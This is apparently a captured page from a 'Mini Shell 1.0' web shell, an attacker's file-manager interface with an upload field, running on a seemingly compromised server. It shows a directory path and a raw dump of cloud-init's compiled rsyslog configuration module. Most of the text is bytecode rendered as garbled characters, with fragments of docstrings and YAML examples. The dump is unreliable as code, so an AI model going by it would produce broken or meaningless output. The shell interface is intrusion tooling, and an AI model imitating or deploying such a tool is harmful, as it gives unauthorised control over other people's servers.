HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_rsyslog.cpython-311.pyc
�

܍~c'���UdZddlZddlZddlmZddlmZddlmZddlm	Z	m
Z
ddlmZddl
mZdd	lmZmZdd
lmZddlmZdZd
ddeegeed��ed��gdgd�Zeed<ee��ZdZdZdZiZeed<dZdZdZ dZ!dZ"dZ#dZ$ej%e&��Z'ej(d ��Z)ej(d!��Z*efd"�Z+d#ed$efd%�Z,d&�Z-d0d'�Z.Gd(�d)��Z/d1d*�Z0d+e1d#ed,ed-ed.e2d$dfd/�Z3dS)2z-Rsyslog: Configure system logging via rsyslog�N)�Logger)�dedent)�log)�subp�util)�Cloud)�Config)�
MetaSchema�get_meta_doc)�ALL_DISTROS)�PER_INSTANCEz�This module configures remote system logging using rsyslog.

Configuration for remote servers can be specified in ``configs``, but for
convenience it can be specified as key value pairs in ``remotes``.
�
cc_rsyslog�Rsyslogz$Configure system logging via rsyslogz�            rsyslog:
                remotes:
                    maas: 192.168.1.1
                    juju: 10.0.4.1
                service_reload_command: auto
            a7            rsyslog:
                config_dir: /opt/etc/rsyslog.d
                config_filename: 99-late-cloud-config.conf
                configs:
                    - "*.* @@192.158.1.1"
                    - content: "*.*   @@192.0.2.1:10514"
                      filename: 01-example.conf
                    - content: |
                        *.*   @@syslogd.example.com
                remotes:
                    maas: 192.168.1.1
                    juju: 10.0.4.1
                service_reload_command: [your, syslog, restart, command]
            �rsyslog)�id�name�title�description�distros�	frequency�examples�activate_by_schema_keys�metaz20-cloud-config.confz/etc/rsyslog.d�auto�DEF_REMOTES�configs�config_filename�
config_dir�service_reload_command�rsyslog_filename�rsyslog_dir�remotesz[ ]*[#]+[ ]*z_^(?P<proto>[@]{0,2})(([\[](?P<bracket_addr>[^\]]*)[\]])|(?P<addr>[^:]*))([:](?P<port>[0-9]+))?$c��|tkr,|�dd��}|�d|��Stj|d���S)N�rsyslog_svcnamerz
try-reloadT)�capture)�
DEF_RELOAD�
get_option�manage_servicer)�distro�command�services   �=/usr/lib/python3/dist-packages/cloudinit/config/cc_rsyslog.py�
reload_syslogr-^sN���*����#�#�$5�y�A�A���$�$�\�7�;�;�;��9�W�d�+�+�+�+��cfg�returnc���|�di��}t|�d��t��rrt�d��t
|�d��i}t|vr|t|t<t|vr|t|t<t
gtftttftttfttttfftt t"ff}|D]Q\}}}||vr|||<�t|||��s+t%d|�d|�dt'||��������R|S)z�Return an updated config.

    Support converting the old top level format into new format.
    Raise a `ValueError` if some top level entry has an incorrect type.
    rzDEPRECATION: This rsyslog list format is deprecated and will be removed in a future version of cloud-init. Use documented keys.zInvalid type for key `z`. Expected type(s): z. Current type: )�get�
isinstance�list�LOG�warning�KEYNAME_CONFIGS�KEYNAME_LEGACY_FILENAME�KEYNAME_FILENAME�KEYNAME_LEGACY_DIR�KEYNAME_DIR�DEF_DIR�str�DEF_FILENAME�KEYNAME_RELOADr&�KEYNAME_REMOTESr�dict�
ValueError�type)r/�mycfg�fillup�key�default�vtypess      r,�load_configrIesw��
�G�G�I�r�"�"�E��#�'�'�)�$�$�d�+�+�	9����
N�	
�	
�	
�!�#�'�'�)�"4�"4�5��"�c�)�)�&)�*A�&B�E�"�#���$�$�!$�%7�!8�E�+��
�"�d�#�	�g�s�#�	�<��-�	��c�4�[�1�	�+�t�,��F�!'�����W�f��e��� �E�#�J�J��E�#�J��/�/�	��4��4�4�6�4�4�!%�e�C�j�!1�!1�4�4���
�	��Lr.c��g}t|��D�]3\}}t|t��rBd|vrt�d|dz���>|d}|�d|��}n|}|}|���}|st�d|dz����tj�	||��}d}||vrd}|�
|��	d}	|�d	��sd	}	tj
|||	z|�
����	#t$rtjtd|��Y��1wxYw|S)N�contentz%No 'content' entry in config entry %s��filenamezEntry %s has an empty filename�ab�wb��
)�omodezFailed to write to %s)�	enumerater3rAr5r6r2�strip�os�path�join�append�endswithr�
write_file�	Exception�logexc)
r�	def_fname�cfg_dir�files�cur_pos�entrKrMrR�endls
          r,�apply_rsyslog_changesrc�s���
�E�!�'�*�*� @� @�����c�4� � �
	!���#�#����;�W�q�[������)�n�G��w�w�z�9�5�5�H�H��G� �H��>�>�#�#���	��K�K�8�'�A�+�F�F�F���7�<�<���2�2�����5� � ��E��L�L��"�"�"�	@��D��#�#�D�)�)�
����O�H�g��n�E�B�B�B�B�B���	@�	@�	@��K��4�h�?�?�?�?�?�	@�����Ls�&3D�%E�Ec�>�	t�|��\}}|���}n#t$r|d}}YnwxYw|������}d}t	|��dkr|}n+t	|��dkr|\}}ntd|z���t
�|��}|std|z���|�d��}|�d��p|�d��}|�d��}	|�d	��r'|�	d
��std|z���|r|s|}t|||||	���}
|
���|
S)
NrL�zline had multiple spaces: %szInvalid host specification '%s'�proto�addr�bracket_addr�port�[�]z"host spec had invalid brackets: %s�r�matchrfrgri)�
COMMENT_RE�splitrTrB�len�HOST_PORT_RErm�group�
startswithrY�SyslogRemotesLine�validate)�liner�data�comment�toksrm�	host_portrfrgri�ts           r,�parse_remotes_liner|�s���%�"�(�(��.�.�
��g��-�-�/�/�����%�%�%��t�g����%�����:�:�<�<�����D��E�
�4�y�y�A�~�~��	�	�	�T���a������y�y��7�$�>�?�?�?����i�(�(�D��H��:�Y�F�G�G�G��J�J�w���E��:�:�f���;����N�!;�!;�D��:�:�f���D����s���F�D�M�M�#�$6�$6�F��=��D�E�E�E���t�����
��e�$�T�	�	�	�A��J�J�L�L�L��Hs�14�A�Ac�*�eZdZ	dd�Zd�Zd�Zd�ZdS)rtNc��|sd}||_||_|sd}|dkrd}n|dkrd}||_||_|rt	|��|_dSd|_dS)Nz*.*�udp�@�@@�tcp)rrmrfrg�intri)�selfrrmrfrgris      r,�__init__zSyslogRemotesLine.__init__�s|���	��E���	���
��	��E��C�<�<��E�E�
�d�]�]��E���
���	��	��D�	�	�D�I�I�I��D�I�I�Ir.c��|jr@	t|j��n*#t$r}td|jz��|�d}~wwxYw|jstd���dS)Nzport '%s' is not an integerzaddress is required)rir�rBrg)r��es  r,ruzSyslogRemotesLine.validate�s����9�	�
��D�I�������
�
�
� �1�D�I�=���������
����
�y�	4��2�3�3�3�	4�	4s��
A�A�Ac�X�d|j�d|j�d|j�d|j�d|j�d�S)Nz[name=z match=z proto=z	 address=z port=rkrl)r�s r,�__repr__zSyslogRemotesLine.__repr__�s;����I�I�I��J�J�J��J�J�J��I�I�I��I�I�I�
�	
r.c���|jdz}|jdkr|dz
}n|jdkr|dz
}d|jvr|d|jzdzz
}n
||jz
}|jr
|d	|jzz
}|jr
|d
|jzz
}|S)N� rr�r�r��:rjrkz:%sz # %s)rmrfrgrir)r��bufs  r,�__str__zSyslogRemotesLine.__str__s����j�3����:�����3�J�C�C�
�Z�5�
 �
 ��4�K�C��$�)����3���?�S�(�(�C�C��4�9��C��9�	%��5�4�9�$�$�C��9�	'��7�T�Y�&�&�C��
r.)NNNNN)�__name__�
__module__�__qualname__r�rur�r��r.r,rtrt�sX������AE�����*
4�
4�
4�
�
�
�����r.rtc	��|sdSg}|�|�|��|���D]n\}}|s�	|�tt||��������;#t$r'}t
�d|||��Yd}~�gd}~wwxYw|�|�|��d�|��dzS)N)rz!failed loading remote %s: %s [%s]rQ)rX�itemsr=r|rBr5r6rW)r"�header�footer�linesrrvr�s       r,�remotes_to_rsyslog_cfgr�s������t��E�
��
���V�����m�m�o�o�L�L�
��d��	��	L��L�L��/��4�@�@�@�A�A�B�B�B�B���	L�	L�	L��K�K�;�T�4��K�K�K�K�K�K�K�K�����	L����
��
���V�����9�9�U���d�"�"s�1A-�-
B�7B�Br�cloudr�argsc���d|vr|�d|��dSt|��}|t}|tr0|�t|tdd�����|ds|�d��dSt
|t|t|t���}|s|�d	��dS	t|j
|t�
��}n4#tj
$r"}	d}|�d|	��Yd}	~	nd}	~	wwxYw|r-|���|�d
||��dSdS)Nrz;Skipping module named %s, no 'rsyslog' key in configurationz# begin remotesz
# end remotes)r�r�rz.Empty config rsyslog['configs'], nothing to do)rr]r^z0restart of syslog not necessary, no changes made)r*FzFailed to reload syslogz%s configured %s files)�debugrIr7r@rXr�rcr9r;r-r)r?r�ProcessExecutionErrorr6�
cycle_logging)
rr/r�rr�rDr�changes�	restartedr�s
          r,�handler�,s��������	�	�I�4�	
�	
�	
�	������E��O�$�G��_��
����"��o�&�(�&�
�
�
�	
�	
�	
������	�	�B�C�C�C���#��o�&��(�)��k�"����G����	�	�D�E�E�E���2�!�%�,��n�8M�N�N�N�	�	���%�2�2�2��	����-�q�1�1�1�1�1�1�1�1�����2�����;�	������	�	�	�*�D�'�:�:�:�:�:�
;�;s�"!D�D5�D0�0D5)N)NN)4�__doc__rU�re�loggingr�textwrapr�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr	�cloudinit.config.schemar
r�cloudinit.distrosr�cloudinit.settingsr
�MODULE_DESCRIPTIONr�__annotations__r>r<r&rrAr7r9r;r?r8r:r@�	getLoggerr�r5�compilernrqr-rIrcr|rtr�r=r4r�r�r.r,�<module>r�s���4�3�3�	�	�	�	�	�	�	�	�������������$�$�$�$�$�$� � � � � � � � �!�!�!�!�!�!�#�#�#�#�#�#�<�<�<�<�<�<�<�<�)�)�)�)�)�)�+�+�+�+�+�+�����
3�%��}����
�	
�	
�	��
�	
�	
��8!*�{�G$�$��j�$�$�$�L�,�t�
�
��%��
��
�
���T������$����)��,��"�����g���!�!��
�R�Z��
(�
(�
��r�z�����#-�,�,�,�,�$�T�$�d�$�$�$�$�N&�&�&�R#
�#
�#
�#
�L<�<�<�<�<�<�<�<�~#�#�#�#�$/;�

�/;��/;�#(�/;�/5�/;�=A�/;�	�/;�/;�/;�/;�/;�/;r.